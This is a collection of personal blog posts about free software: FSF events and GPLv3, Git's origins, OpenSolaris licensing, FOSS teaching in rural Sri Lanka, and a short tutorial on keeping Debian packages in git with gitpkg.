The last SFD I attended was in 2008. I blogged about it here with some photos available in my surprisingly-still-around flickr account. It was in Chinatown in Boston and I drove up from Pennsylvania, mostly to get my mind off things. It was there that I purchased a copy of “Free Software, Free Society”, a collection of essays by Richard Stallman. Five years later, I picked up the dusty book from my shelf and re-read the GNU manifesto, to get my mind back to the core principles.

It was there, as I was flipping through the pages, that I saw RMS in a whole new light. His uncompromising tenacity in the face of control and oppression and unfaltering stance on ethics and morality of freedom. He is a true freedom fighter. His message sometimes gets lost in all the pandemonium we go through daily but the spirit of the freedom he preached is very much alive every time we believe that knowledge should be free and that everybody should have access to it. I hope this message continues to inspire folks for years to come.

Having spent some quality time with Git over the holidays, my appreciation for the flexibility of this DVCS and the elegance with which it has been constructed has reached a state of awe. I remember following the BitKeeper debacle of 2005 on Kernel Traffic that spawned the project that would turn out to be git, and wondering why Linus would even think of going off on a tangent and building a VCS. I’m thankful that he did.

In a mail to the LKML, Linus mentions:

So I’m writing some scripts to try to track things a whole lot faster. Initial indications are that I should be able to do it almost as quickly as I can just apply the patch, but quite frankly, I’m at most half done, and if I hit a snag maybe that’s not true at all. Anyway, the reason I can do it quickly is that my scripts will not be an SCM, they’ll be a very specific “log Linus’ state” kind of thing. That will make the linear patch merge a lot more time-efficient, and thus possible.What I find interesting is his statement that “my scripts will not be an SCM” sounds a lot like “won’t be big and professional like gnu” in an earlier mail to a different crowd. Pay attention when hackers sound humble and self deprecating. It’ll be easy to spot, since they’re not most of the time. I kid, of course.

Having hacked on Linux for a long time, I believe Linus really enjoyed taking a break and doing something different, and in this talk, it’s clear that he was quite proud of his creation. It’s also very clear that the entire system was thought up by a kernel hacker from the focus on making the system fast and efficient, not to mention being able to do a “fsck” on the git repository also shows which analogies were drawn in designing git.

Managing kernel contribution is a difficult process, and with over 1000 contributors to each kernel release makes it one of the most prolific open source projects in history. The benevolent dictator and the governance structure that he’s laid out for the kernel over the years seems to be able to manage this complexity and scale efficiently. Git has played a major part of this success and I expect will continue to do so in the coming years.

Several years ago, I got the opportunity to visit a small foundation in the middle of the jungle in Mahavilachchiya that made a strong impression on me and my friends in the LKLUG. We were there to teach kids computers and introduce them to the wealth of free and open source software. As an active community, we have been to many advocacy and training sessions, but this one was quite unlike any other.

There was an element of danger going into a “border village” where the threat of terrorist attacks were ever imminent and the kids lived in fear. Despite the warnings we received from the elders, it was clear to all of us that this had to be done. And to this day, the only regret has been that we have not been able to do more.

What we found in Mahavillachchiya was the most hopeful thing I’ve ever seen in the most hopeless of times under the worst circumstances. It was truly an oasis and a budding fertile ground for changing the lives of an entire generation in the region. A generation that had been ravaged by war and poverty and yet retained the innocence and hope to smile through the ordeal.

Most of what we do in our lives are not important. The petty goals we strive to achieve, the victories that we expect to provide us with fulfillment in life, when examined more closely, pale in comparison to the selfless work performed by remarkable people to bring an entire generation out of a vicious cycle. Here’s a chance for you to do something truly worthwhile that will affect the lives of many.

Mahavilachchiya and Horizon Lanka Foundation need your help. It needs to raise 1 million Rupees by the end of the year to meet its financial obligations and to continue its good work. The equivalent of 9,000 USD, this is the first step in helping the foundation continue to be the positive change agent to the hundreds of rural kids in Sri Lanka.

If you would like to help with this initiative, please contact Nandasiri Wanninayaka (wanni@horizonlanka.net) to see how you can help. Wanni is the founder of this initiative and is a truly inspirational character.

You can also contribute to HLF initiatives on GlobalGiving.org.

An event to mark the Software Freedom Day was organized by the Free Software Foundation and held in Boston over the weekend. I felt that a long drive was just what I needed to get my mind off the series of mini catastrophes that have been taking place at work during the week.

By the time I reached Chinatown, it was mid-day on Saturday and the event was nearly over. Helped myself to some GNU memorabilia, and briefly spoke with Mako before being distracted by Stallman’s voice singing the Free Software song.

GNU celebrates its 25th anniversary this year, and a small 5-minute short of Stephen Fry endorsing Free Software was screened. Happy birthday GNU, and many more!

Some photos from the event can be found here.

Recently, I’ve been taking a look at tools to version control and maintain my Debian packages in git.

Git, like mercurial, is a distributed SCM used to maintain the Linux kernel since version 2.6.12. Branching in git is very cheap, and merging is trivial and follows a decentralized model where developers can push and pull code with each other in true distributed fashion.

Of the Debian tools I've tried, the main contenders are:

• gitpkg
• git-buildpackage

gitpkg, is extremely simple to use, and quick to get you off the ground. If you already have an entire revision history of .dsc, .diff.gz files, maintained in the good old fashioned way, gitpkg provides the git-debimport utility that lets you import everything into a git repository in one go. It does this intelligently by applying consecutive revisions and tagging the different versions along the way.

Here are the steps that I took to import my ncc package history into git:

$ mkdir /git/repo
$ cd /git/repo
$ git-debimport ../../debian/ncc/ncc

It will then pick up all the files beginning with ncc in the ../../debian/ncc directory.

To see the revision history:

$ cd ncc
$ gitk

The .orig.tar.gz files will be extracted to a branch called upstream and tagged (v2.5), it will then be merged to master and the .diff.gz files applied sequentially and tagged at each step (v2.5–1). A list of tags like the following will be created:

v2.5
v2.5–1
v2.5–2
v2.6
v2.6–1
v2.6–2

To create the source package for a particular revision:

gitpkg v2.6–1 v2.6

Where the first argument is the tag with the Debian changes, and the second argument is the tag for upstream code.

$ ls -F ../deb-packages/ncc/
ncc-2.6/ ncc_2.6–1.diff.gz ncc_2.6–1.dsc ncc_2.6.orig.tar.gz

$ cd ../deb-packages/ncc/ncc-2.6
$ debuild

These steps didn't work for me the first time as git silently dropped an empty directory that caused the build to fail. The workaround was to create a** .gitignore** file in the empty directory. This is probably something that gitpkg could be configured to handle.

To upgrade to a new upstream version:

$ git checkout upstream
$ rm -rf *
$ tar zxvf /path/to/new/upstream.tar.gz
$ git add .
$ git commit -m "Upgrade to v2.7"
$ git tag v2.7

# Merge the Debian changes
$ git checkout master
$ git branch debian
$ git checkout debian
$ git merge upstream

# Fix conflicts / make Debian specific changes / test
$ git add .
$ git commit -a
$ git checkout master
$ git merge debian
$ git tag v2.7–1

# Generate Debian package artifacts
$ gitpkg v2.7–1 v2.7

# Build Debian package
$ cd ../deb-packages/ncc/ncc-2.7
$ debuild

A couple of caveats — gitpkg generates the orig.tar.gz by tarring up the upstream branch. As far as I know, gitpkg does not yet have pristine-tar support yet and that's a must-have if you don't want to re-package the upstream sources. I also noticed that git-debimport had trouble with absolute paths, for which I submitted a patch — so I don't have a whole lot of confidence in the tool yet, but it's getting there.

In a recent article, Ted T’so makes some interesting points on Sun’s motives behind OpenSolaris, and how it fares today in the FOSS ecosystem as a result.

Fundamentally, Open Solaris has been released under a Open Source license, but it is not an Open Source development community. It’s quite sad that this is the case simply considering the enormous potential that OpenSolaris had back in 2005, and the opportunities for cross pollination with Linux had the licenses been compatible. Given some of killer features of the operating system, it’s quite a shame that it has not been able to rally the developer community that it deserves.

At this point, I think the only hope for OpenSolaris is GPLv3 and a truly open development process. Then for once, Linus’ kernel will have a strong contender and a raised bar on licensing grounds.

Nexenta (a project unaffiliated with Sun), and essentially a Debian distribution with an OpenSolaris kernel, has been a strong attempt at attracting developers. Debian is by far is the most developer friendly GNU/Linux distribution out there, with a mature and proven development model, and to build an OpenSolaris distribution with user land tools of Debian makes the most sense.

I’ve been a Solaris user since version 6, which I attempted to run (quite foolishly) on a 333MHz Pentium. The user experience was anything but smooth, but still ended up gaining a lot of respect for the platform. Only time can say whether the tide changes for OpenSolaris or whether it ends up relegating to the Minix boat.

Updated: 03 May — Corrections on Nexenta

GPLv3 was launched on Friday (29) after close to eighteen months of public involvement in it’s drafting process. This has been an important milestone in the free software world as an upgrade to the GPL to address some of the more modern concerns have been a long time coming. I think Bruce Perens sums this up well when he said:

“When the GPLv2 and GPLv1 were written, we got music from phonograph records,” he says. “The most complicated input device people had in their homes was a touch-tone telephone. The only thing that was even close to digital rights management were these dongles you’d hang on the back of your computer that would authorize you to run software — digital rights management didn’t even really exist.”You can read the rest of the Wired article — here.

I was at the Free Software Foundation with a couple of my mates and you can find some of the photographs, here. RMS made the announcement in a room rigged with audio equipment, so everyone was really quiet. In a room where the dropping of a pin could be heard, the shutter release of my DSLR came like claps of thunder. So I resorted to just watch the whole thing rather than draw the wrath of the assembled mob of free software types.

GPLv3 has finally taken flight. It’ll be a lot of work to re-license all the GNU tools under GPLv3 but the process has already begun. It’ll be very interesting to see what happens.

Update (14 July): The announcement from RMS.

I attended the 2007 FSF members meeting today — codenamed “Year of the upgrade”.

— snip —

09:15–10:00 Breakfast, registration, and pgp key signing
10:00–10:25 Peter Brown, Executive Director — "Libre Planet"
10:25–10:50 John Sullivan, Program Administrator -"BadVista and the Campaign for Free Software Adoption"
10:50–11:05 Justin Baugh, Senior System Administrator — "Hardware Free from Restrictions"
11:05–11:20 Joshua Ginsberg, Senior System Administrator — "FSF Systems Administration"
11:20–11:35 Break
11:35–12:10 Brett Smith, Licensing Engineer — "Compliance and GPLv3"
12:10–12:50 Richard Stallman, President — "Software Patents"
12:50–13:50 Lunch and mini-rockbox installfast
13:50–14:40 Gerald Sussman, Director — "Robust Design"
14:40–15:20 Eben Moglen, General Counsel — "After GPLv3"
15:20–16:00 Board members panel and Q&A — "Year of the Upgrade"
16:00–16:15 Break
16:15–17:30 Members Forum — including a presentation by Mako Hill on "Defining Free Culture"
17:30–17:50 Free Software Awards Ceremony

— snip —

Four members from the Sahana team (Chamindra, Pradeeper, Mifan and Ravindra) were present at the meeting to receive the Free Software award for Project of Social Benefit!! This is a truly great achievement, kudos to you all!

Just as I expected, I bumped into Niibe this year as well, and we caught up on some of the Debian work that I’ve been doing with him. Niibe is my mentor at Debian and has been helping me immensely to get my packages into Debian.

Other notable attendees were Bruce Perens and Ted Ts’o.

I noticed Ted when he entered the room, towards the latter part of the event. It was only later that I found out that he was to receive the FSF Award for the Advancement of Free software. I didn't expect to see any high profile kernel hackers as himself at FSF events although there was one attendee who was the splitting image of Alan Cox, but a little poking round revealed that to be a false lead.

The presentation by Mako Hill on "Defining Free Culture" was quite informative on some of the good work he's been upto lately. Eben Moglen's oratory was impressive as always and Gerald Sussman confounded the audience with some deep mathematics. RMS spoke on software patents.

Some photos from the event are available on my flickr.

Past events: FSF Members Meeting, 2006

Yesterday was the second day of the FOSS-ed on Wheels at Mahavilachchiya.

The kids were some of the brightest I’ve met and they pick things up in a flash. The night before, I did a programming primer to a group of lads and lasses, 18 years old on average. The girls outnumbered the guys by a scary margin, approximately 10 girls and 2 guys. References to Ada Lovelace and Grace Mary Hopper were made in the hope of striking an inspiration. We can begin to hope for better gender distribution in the coming years for IT.

Woke up in the morning feeling a little stiff, but a bit of photographing around the perimeter did the trick. I brought T’s D50 with me, along with the 10x zoom lens and the array of filters, and that’s always fun to play around with.

Had a session with the younger kids in the afternoon and my voice kept getting drowned by the patter of rain on the roof. Like a cornered prey, I decided to do the rest of the talk in the middle of the room surrounded by the kids. That was an experience. We talked about how computers spoke to each other. This was the first time I got in front of such a young crowd and it was an enlightening experience.

While wrapping up, seven (or eight) year old Asela came over to shake my hand and say goodbye. That was probably the hightlight of the show, and made everything worth it.

This FOSS-ed has been a unique experience for me, and very different from the other FOSS-eds I’ve been involved with. I think it’s a good trend that FOSS is moving away from Colombo to places where it really matter. The future looks bright.

Also, I must commend the effort of Wanni which I think is phenomenally successful. We need more like him to do what he has done in other places with the same level of selflessness and dedication. For those who might not know, Nandasiri Wanninayaka (aka Wanni) is the founder of the Horizon Lanka Foundation.

Update: Some photographs from the event can be found here and here.

I’m at Mahavilachchiya right now, at the Horizon Lanka Foundation, with the FOSS-ed on Wheels troupe. So far the experience has been breathtaking.

Yesterday, we were at the Kekirawa Central College where we talked to a group of individuals eager to learn about FOSS. This group was very diverse, from teachers to school students, equally eager to try new tricks. I spoke to a group of students during a small break and since then I’ve been repeatedly telling everyone how great those kids were. One in particular, was an extremely enthusiastic lad and I kept wishing I could do more to help these kids.

Horizon Lanka Foundation is running a school here, in a very organized fashion. One of the first things we saw when we entered the premises was a large group of students organized neatly in ranks, all wearing yellow uniforms and looking very subdued. I was able to mingle easily with the students in my matching yellow t-shirt. Nobody believed my exclaims of coincidence.

FOSS-ed for Hackers ended last week, and the entire geek blogosphere has been brimming with posts on the subject so I won’t delve much into it. Overall, it was a success. The participation was extremely good and the event was organized in style, thanks largely to Devaka.

The appearance of Lawrence Lessig, founder of Creative Commons was definitely the highlight of the show, and he did a very interesting talk that had me captivated. As usual, there was a lot of bumping into old friends and catching up, as it is common at events of this nature where geeks congregate.

Being the undisputed king of procrastination and, when the mood strikes, bad hair day, I waited until the last moment to finish my presentation, and just barely managed to cobble together the slides in time. Despite my grievances, I managed to complete the presentation with just a few cringe-worthy moments. Thankfully, I got a couple of good questions from the crowd during the Q&A session that just went to prove, despite my views to the contrary, that everybody in fact was NOT sleeping. You can find the slides here.

On a slightly different note, I was somewhat disappointed in the mole that I planted in the crowd to ask intelligent questions when the time came to relieve tension and get the questions flowing. As anticipated, the mole failed to deliver and is now expected to refund the downpayment at earliest convenience.

It was a very eventful weekend. For one thing, the FSF associate member’s meeting was being held at MIT on Saturday. I’m not a fan of social events, but as it turns out, geek hangouts are where I thrive. Made the long and arduous journey to Boston with Supun, a colleague of mine and a free software aficionado, and took the subway to Kendall/MIT. It was a very pleasant day, perfect for some good ol’ curbside hackin’.

The turn out at the meeting was pretty good, and there were some FSF merchandise right outside and I promptly bought a couple of books. Scanning the lounge for familiar faces, I quickly noticed Niibe walking over. Niibe came over to Sri Lanka and participated in a Code Fest held at Virtusa as part of the sixth Asia Open Source Symposium. Niibe is well known for his efforts on the Linux kernel SuperH port.

One of the speakers was the venerable MIT professor Gerald Jay Sussman, who invented the Scheme programming language along with Guy Steele Jr, one of his former students. It was a very interesting talk titled “Software is never finished”.

Eben Moglen followed soon afterwards, followed by Richard Stallman. RMS spoke about the evils of DRM and the new provisions introduced to counter it in GPLv3.

After the presentation, I managed to have a little chat with him in the lounge area, and when I mentioned the LKLUG he was quick to point out that a name change was in order. You can trust RMS not to miss that one. There was a long and heated LKLUG mail thread on this same issue way back in 2004. Thanks to lurker, I’ve managed to dig it up.

Some photographs of the event can be found here.